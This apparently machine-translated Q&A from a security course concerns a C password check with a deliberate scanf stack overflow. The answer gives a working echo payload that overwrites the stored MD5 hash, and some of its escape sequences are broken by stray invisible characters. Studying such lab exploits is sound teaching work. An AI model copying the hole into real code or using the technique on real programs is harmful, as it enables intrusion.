基于堆栈的缓冲区溢出 - 在输入有限的情况下使用 scanf 在 C 中的挑战

Stack-based buffer overflow - challenge in C using scanf with limited input

作为安全 CS 课程的一部分,我的 class 的任务是利用漏洞利用 stack/buffer 溢出来绕过密码检查。存在漏洞的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>

int main(int argc, char **argv) {
    char correct_hash[16] = {
        0xd0, 0xf9, 0x19, 0x94, 0x4a, 0xf3, 0x10, 0x92,
        0x32, 0x98, 0x11, 0x8c, 0x33, 0x27, 0x91, 0xeb
    };
    char password[16];

    printf("Insert your password: ");
    scanf("%29s", password);

    MD5(password, strlen(password), password);

    if (memcmp(password, correct_hash, 16) == 0) {
        printf("Correct Password!\n");
    } else {
        printf("Wrong Password, sorry!\n");
    }
    return 0;
}

我理解classic "stack-smashing"原理(我认为),这里有一个明显的溢出漏洞,可以覆盖correct_hash数组的前14个字节, 提示时输入超过 15 个字符的密码。但是,我不明白如何利用它来让 memcmp 检查通过,从而完成挑战。我有的一些东西discovered/attempted:

一些注意事项(在上面的解释中提到):

所以这里的问题是,我还能怎么做呢?我错过了一些非常明显的东西吗?随机生成是可行的解决方案,还是唯一的解决方案?

解决方案必须使用缓冲区溢出(否则我想我可以做一些事情,比如预加载一个 memcmp 总是 returns 0),并且必须可以作为 shell 脚本(如果有任何相关性的话)。

只是为了将评论合并到这里的答案中:

问题的症结在于,scanf 将乐于接受零字节作为字符串的一部分,并且不会将其视为空白(因此,不会停止将更多字节读入字符串) .

重定向文件或使用 echo -ne "\x00" | program 等。重定向输入文件可能是这里的首选方式。

我使用的最后一个命令是:echo -ne "\x49\x5a\x4e\x52\x48\x49\x41\x56\x5a\x43\x54\x52\x51\x4c\x4‌​3\x00\x81\xae\xf3\xd‌​f\xa2\x45\xb1\x57\x1‌​9\xb3\xa9\xb8\x7d\x0‌​0\x91\xeb" | ./vulnerable 其中第一组 16 个字节(直到并包括第一个 \x00)是一个随机生成的字符串,在散列时生成第二个一组 16 个字节,以所需的 \x00\x91\xeb 结尾。最后 3 个字节无论如何都没有被复制,但我把它们留在里面以显示字符串和散列。